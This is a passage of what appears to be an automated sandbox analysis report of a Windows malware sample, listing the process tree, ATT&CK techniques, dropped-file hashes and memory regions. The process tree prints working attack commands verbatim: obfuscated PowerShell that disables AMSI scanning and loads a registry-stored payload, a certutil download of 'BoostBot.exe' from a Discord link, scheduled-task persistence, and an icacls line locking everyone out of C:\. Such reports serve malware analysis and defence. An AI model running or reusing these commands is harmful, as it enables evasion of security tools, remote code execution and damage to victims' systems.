(103)+''+','+''+'N'+''+[Char](101)+''+[Char](119)+''+[Char](83)+'lo'+[Char](116)+''+','+'Vi'+[Char](114)+''+[Char](116)+''+'u'+'al',$QcHCclvqXC,$gfKqMnlRVnsnhc).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+'g'+'e'+''+[Char](100)+'');Write-Output $scaySfhzHYm.CreateType();}$LBjkpNymJHNPn=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+'t'+[Char](101)+''+[Char](109)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+''+[Char](99)+''+'r'+''+[Char](111)+''+'s'+''+'o'+'f'+[Char](116)+''+[Char](46)+''+[Char](87)+'i'+[Char](110)+''+'3'+''+'2'+'.'+[Char](85)+'ns'+[Char](97)+''+'f'+'e'+'N'+''+'a'+'t'+[Char](105)+''+[Char](118)+'e'+'M'+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$PXjInHyivKflyt=$LBjkpNymJHNPn.GetMethod(''+[Char](71)+'e'+[Char](116)+''+'P'+''+'r'+''+[Char](111)+''+[Char](99)+'Add'+'r'+''+[Char](101)+'s'+'s'+'',[Reflection.BindingFlags](''+'P'+'u'+[Char](98)+'l'+'i'+'c,'+'S'+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$enWRDMIYyAJoKmGVURa=WwLRZjDrFiSQ @([String])([IntPtr]);$iFOzXBcjSIsBdElUvtrlcI=WwLRZjDrFiSQ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$hOXMvXTmHCz=$LBjkpNymJHNPn.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+'d'+'u'+'l'+''+[Char](101)+'H'+[Char](97)+''+'n'+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+'r'+[Char](110)+''+'e'+''+'l'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+'l'+''+'l'+'')));$EaDCxPrmyumDjz=$PXjInHyivKflyt.Invoke($Null,@([Object]$hOXMvXTmHCz,[Object](''+'L'+''+[Char](111)+''+'a'+'d'+[Char](76)+''+'i'+''+[Char](98)+'rar'+'y'+'A')));$MJFtkLQtPiPvqXJAj=$PXjInHyivKflyt.Invoke($Null,@([Object]$hOXMvXTmHCz,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+''+[Char](80)+'r'+[Char](111)+'te'+[Char](99)+''+[Char](116)+'')));$oLeupIc=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EaDCxPrmyumDjz,$enWRDMIYyAJoKmGVURa).Invoke(''+'a'+''+[Char](109)+'s'+[Char](105)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$xJbUgRsbLCNxQgjAg=$PXjInHyivKflyt.Invoke($Null,@([Object]$oLeupIc,[Object]('A'+'m'+''+[Char](115)+''+[Char](105)+''+[Char](83)+'ca'+[Char](110)+'B'+[Char](117)+''+[Char](102)+'f'+[Char](101)+''+'r'+'')));$wuNJtEpXpk=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MJFtkLQtPiPvqXJAj,$iFOzXBcjSIsBdElUvtrlcI).Invoke($xJbUgRsbLCNxQgjAg,[uint32]8,4,[ref]$wuNJtEpXpk);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$xJbUgRsbLCNxQgjAg,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MJFtkLQtPiPvqXJAj,$iFOzXBcjSIsBdElUvtrlcI).Invoke($xJbUgRsbLCNxQgjAg,[uint32]8,0x20,[ref]$wuNJtEpXpk);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+'F'+''+[Char](84)+'W'+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'$'+'7'+'7'+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3736

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:hhPuomBFISRc{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$cEgiaZZfwwobqh,[Parameter(Position=1)][Type]$WRVbOohlFn)$cxhgAnNiZnt=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+'fl'+'e'+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+'d'+'Dele'+'g'+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+'M'+[Char](111)+''+'d'+'ul'+'e'+'',$False).DefineType(''+'M'+''+'y'+''+[Char](68)+'el'+'e'+''+[Char](103)+''+[Char](97)+''+'t'+'e'+'T'+''+'y'+'pe',''+'C'+''+[Char](108)+''+'a'+'s'+'s'+',Pub'+[Char](108)+'i'+[Char](99)+''+','+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+'d'+','+''+'A'+'ns'+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+[Char](111)+'C'+[Char](108)+'a'+'s'+''+[Char](115)+'',[MulticastDelegate]);$cxhgAnNiZnt.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+'e'+[Char](99)+''+'i'+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+'e'+[Char](44)+''+'H'+'id'+'e'+''+'B'+''+'y'+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$cEgiaZZfwwobqh).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+'na'+[Char](103)+''+[Char](101)+''+[Char](100)+'');$cxhgAnNiZnt.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+'P'+''+'u'+''+[Char](98)+'l'+'i'+''+[Char](99)+','+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+'Ne'+'w'+'Sl'+[Char](111)+''+[Char](116)+','+[Char](86)+''+[Char](105)+'r'+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+'',$WRVbOohlFn,$cEgiaZZfwwobqh).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+','+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $cxhgAnNiZnt.CreateType();}$NrucsrRKGaUxJ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+'.'+'d'+'l'+''+[Char](108)+'')}).GetType('M'+[Char](105)+''+[Char](99)+'ros'+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+'n'+[Char](51)+''+[Char](50)+''+'.'+''+'U'+'nsa'+[Char](102)+''+'e'+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+'i'+'v'+'e'+''+'M'+'e'+[Char](116)+''+'h'+''+'o'+''+[Char](100)+''+'s'+'');$oUXWclwRsWlHwU=$NrucsrRKGaUxJ.GetMethod('G'+'e'+''+[Char](116)+''+[Char](80)+'r'+[Char](111)+''+[Char](99)+'A'+[Char](100)+''+'d'+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+'i'+''+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+''+[Char](97)+'ti'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$JZkkRaMcVAPZXGzAClU=hhPuomBFISRc @([String])([IntPtr]);$XvdjoxdsHOodYDJyLqmyJx=hhPuomBFISRc @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$iaCckIdrKkc=$NrucsrRKGaUxJ.GetMethod(''+'G'+''+[Char](101)+'t'+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+''+'H'+'an'+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+'e'+''+'r'+''+[Char](110)+'e'+[Char](108)+''+[Char](51)+''+'2'+'.'+'d'+''+[Char](108)+''+[Char](108)+'')));$peXcuoJDaWjtFj=$oUXWclwRsWlHwU.Invoke($Null,@([Object]$iaCckIdrKkc,[Object]('L'+'o'+''+[Char](97)+''+'d'+''+[Char](76)+''+'i'+''+'b'+'r'+[Char](97)+''+'r'+''+[Char](121)+''+'A'+'')));$LDJHWGTTSxokGXruu=$oUXWclwRsWlHwU.Invoke($Null,@([Object]$iaCckIdrKkc,[Object]('V'+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+'c'+'t'+'')));$jMuPcBm=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($peXcuoJDaWjtFj,$JZkkRaMcVAPZXGzAClU).Invoke('am'+'s'+'i'+[Char](46)+''+[Char](100)+''+'l'+''+'l'+'');$NodlAWHufosIqtmdB=$oUXWclwRsWlHwU.Invoke($Null,@([Object]$jMuPcBm,[Object]('A'+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+'e'+'r')));$zqUPXVkNkW=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LDJHWGTTSxokGXruu,$XvdjoxdsHOodYDJyLqmyJx).Invoke($NodlAWHufosIqtmdB,[uint32]8,4,[ref]$zqUPXVkNkW);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$NodlAWHufosIqtmdB,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LDJHWGTTSxokGXruu,$XvdjoxdsHOodYDJyLqmyJx).Invoke($NodlAWHufosIqtmdB,[uint32]8,0x20,[ref]$zqUPXVkNkW);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+'T'+''+'W'+''+[Char](65)+''+'R'+'E').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+[Char](115)+''+[Char](116)+''+'a'+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4348

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:2008

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s nsi
1⤵
PID:1172

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1204

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
1⤵
PID:1300

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1308

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s EventSystem
1⤵
PID:1324

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1444

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1476

c:\windows\system32\sihost.exe
sihost.exe
2⤵
PID:2976

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
1⤵
PID:1484

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
1⤵
PID:1540

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s Dnscache
1⤵
PID:1560

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1672

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s netprofm
1⤵
PID:1772

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1800

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s StateRepository
1⤵
PID:1824

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1936

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2012

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
1⤵
PID:1864

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2276

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
1⤵
PID:2284

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2316

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2420

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2452

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
1⤵
PID:2464

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
1⤵
PID:2472

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2480

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2488

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2572

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2936

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
PID:3000

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s TokenBroker
1⤵
PID:3144

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3288

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Fix.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:788

C:\Windows\system32\certutil.exe
certutil -urlcache -split -f "https://cdn.discordapp.com/attachments/1237881664131174481/1239282786335064204/BoostBot.exe?ex=66425b89&is=66410a09&hm=76121e524db94e51397af0fa52812c443a6cb5a194da52bb2909deb394f90aee&" BoostBot.exe
3⤵
PID:1816

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Process -FilePath 'BoostBot.exe' -Verb RunAs"
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5112

C:\Users\Admin\AppData\Local\Temp\BoostBot.exe
"C:\Users\Admin\AppData\Local\Temp\BoostBot.exe"
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2516

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\BoostBot.exe" /rl HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:520

C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe
"C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:748

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe" /rl HIGHEST /f
6⤵
- Creates scheduled task(s)
PID:2096

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
6⤵
- Executes dropped EXE
PID:2432

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
5⤵
- Executes dropped EXE
PID:2852

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77BoostBot.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\BoostBot.exe'" /sc onlogon /rl HIGHEST
5⤵
- Creates scheduled task(s)
PID:1212

C:\Windows\system32\icacls.exe
icacls "C:\" /deny *S-1-1-0:(OI)(CI)F /T
3⤵
- Modifies file permissions
PID:2104

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Executable File Execution Options\cmd.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
3⤵
PID:3076

C:\Windows\system32\attrib.exe
attrib +h "C:\Users\Admin\AppData\Local\Temp\Fix.bat"
3⤵
- Views/modifies file attributes
PID:2188

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3816

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4076

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s CDPSvc
1⤵
PID:4756

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
1⤵
PID:3028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
PID:3488

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2948

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc
1⤵
PID:5096

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4056

C:\Windows\system32\ApplicationFrameHost.exe
C:\Windows\system32\ApplicationFrameHost.exe -Embedding
1⤵
PID:3740

C:\Windows\System32\InstallAgent.exe
C:\Windows\System32\InstallAgent.exe -Embedding
1⤵
PID:3776

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:3324

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:2108

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:3784

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Filesize
338B

MD5
9cde8a730c801248001cfa63f6b9db8e

SHA1
5f81fdd927dfe1e1446142f9c2c1a41907941806

SHA256
f7578da34fc235099904fc5d423afffbf2b928d214cdbcc776db4dab05d113b9

SHA512
50eddc04d6d117265c4cebcaaf919e7546a9e8a85bff32b0c7f1026a88f25e6af051521528f6cc4a487afeac4e7e8343df9d92a497dc703623e8519a8e445ff5

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5E5B0733CDA24F9EF7038FEEB6987C6E

Filesize
556B

MD5
bb74567bb32413f6e1f0cd6cda743615

SHA1
ff159a7019834d56e147aef95d81c890e8bb1e08

SHA256
6b54c250086257a88242b373cef292d9ced2e38a155039191560cc06ebee9a8f

SHA512
44cca6cc189beb98b05b24806952a8157493dd808988114762409fa5e6439d602dba5277f678b29ac6e75b52afc47e8aad56c01723a5821f6401659330560a88

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27

Filesize
408B

MD5
3425078c1d514e4a8facf4f4dde7ed94

SHA1
416c04dbef9eabcfa549eae48c255caaa819634a

SHA256
2c5d910dd2f30e078092a122b1929173f3911f8131dcf0197140a656d61d5213

SHA512
8325e079d071cdc57240ce217e497bb6dd4aec02e9977e8b501fb4fa0adc55076c510db92c33b77aa25327aad24b2872b7367cc9b5e98058d846573100a44af6

Download Submit
C:\Users\Admin\AppData\Local\Temp\BoostBot.exe

Filesize
409KB

MD5
404ab800bbe49c36bd64d0d73600b59a

SHA1
4c8dff2702fada108f7477ad357067310b584366

SHA256
5465f02f24ee5c1fc9c9c27c86c209eeddc2ed607143e1b76ca9c9d9b7b84154

SHA512
d0ecd88adfd84d9d8e845281e0437368aadf3d1d6fb704d7c7630d1360697471c2a49584f968eeebd5b435f11af9ce3d06327f1835fa5d07a140f22c0f95fc11

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pvr0lksz.xx5.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\install.exe

Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187

Filesize
412B

MD5
b389ac19a7f0d4eaabab67c287637b47

SHA1
74aafaf5772a4ed1e1b175b214a68eec7eb78bf9

SHA256
aaa8be5adf6d1982e6416d3a0dc68393dfcdae4936effdeb59dfaa8b40d91028

SHA512
f65e1cc14ea929f184df1c53992f7b39591be9cde2273cb0712fe9bba2d5585f51be7563056c3f0c211efb284f6a00bde28a13eadfcc5e73ecae1923ae003dcf

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

Filesize
3KB

MD5
56efdb5a0f10b5eece165de4f8c9d799

SHA1
fa5de7ca343b018c3bfeab692545eb544c244e16

SHA256
6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

SHA512
91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d61d7f65117823a52913b840feed43c6

SHA1
e2580207e1611dcb229ee9d2b4bb0bd4dbcc884f

SHA256
d0d50cb4ab1fe4b5dcb9c081d49b33381336fc0ebc7629702ed94d47f7032a86

SHA512
e4cf12f3642ce8746f39bcfaa6265d105919d1cbe863119f4413aa4c5d307d7d69f0638bd0434d47f651e183ec209f02dd7d44954c790ef4d585155817ed8a3c

Download Submit
memory/584-110-0x0000020736070000-0x000002073609B000-memory.dmp

Filesize
172KB

Download
memory/584-117-0x0000020736070000-0x000002073609B000-memory.dmp

Filesize
172KB

Download
memory/584-111-0x0000020736070000-0x000002073609B000-memory.dmp

Filesize
172KB

Download
memory/584-118-0x00007FFDE2AA0000-0x00007FFDE2AB0000-memory.dmp

Filesize
64KB

Download
memory/584-109-0x0000020736040000-0x0000020736065000-memory.dmp

Filesize
148KB

Download
memory/636-129-0x00007FFDE2AA0000-0x00007FFDE2AB0000-memory.dmp

Filesize
64KB

Download
memory/636-122-0x000001E644300000-0x000001E64432B000-memory.dmp

Filesize
172KB

Download
memory/636-128-0x000001E644300000-0x000001E64432B000-memory.dmp

Filesize
172KB

Download
memory/740-140-0x00007FFDE2AA0000-0x00007FFDE2AB0000-memory.dmp

Filesize
64KB

Download
memory/740-139-0x000001FD82D90000-0x000001FD82DBB000-memory.dmp

Filesize
172KB

Download
memory/740-133-0x000001FD82D90000-0x000001FD82DBB000-memory.dmp

Filesize
172KB

Download
memory/748-275-0x0000000006EB0000-0x0000000006EBA000-memory.dmp

Filesize
40KB

Download
memory/900-151-0x00007FFDE2AA0000-0x00007FFDE2AB0000-memory.dmp

Filesize
64KB

Download
memory/900-150-0x00000294748D0000-0x00000294748FB000-memory.dmp

Filesize
172KB

Download
memory/900-144-0x00000294748D0000-0x00000294748FB000-memory.dmp

Filesize
172KB

Download
memory/992-155-0x000001CA40670000-0x000001CA4069B000-memory.dmp

Filesize
172KB

Download
memory/2516-55-0x00000000051B0000-0x0000000005242000-memory.dmp

Filesize
584KB

Download
memory/2516-56-0x0000000005130000-0x0000000005196000-memory.dmp

Filesize
408KB

Download
memory/2516-53-0x0000000000860000-0x00000000008CC000-memory.dmp

Filesize
432KB

Download
memory/2516-54-0x0000000005580000-0x0000000005A7E000-memory.dmp

Filesize
5.0MB

Download
memory/2516-58-0x0000000006190000-0x00000000061CE000-memory.dmp

Filesize
248KB

Download
memory/2516-57-0x0000000005DA0000-0x0000000005DB2000-memory.dmp

Filesize
72KB

Download
memory/3736-93-0x00007FFE22A10000-0x00007FFE22BEB000-memory.dmp

Filesize
1.9MB

Download
memory/3736-94-0x00007FFE21E90000-0x00007FFE21F3E000-memory.dmp

Filesize
696KB

Download
memory/3736-92-0x000001DE515D0000-0x000001DE515FA000-memory.dmp

Filesize
168KB

Download
memory/3904-98-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3904-106-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3904-101-0x00007FFE22A10000-0x00007FFE22BEB000-memory.dmp

Filesize
1.9MB

Download
memory/3904-102-0x00007FFE21E90000-0x00007FFE21F3E000-memory.dmp

Filesize
696KB

Download
memory/3904-100-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3904-97-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3904-96-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
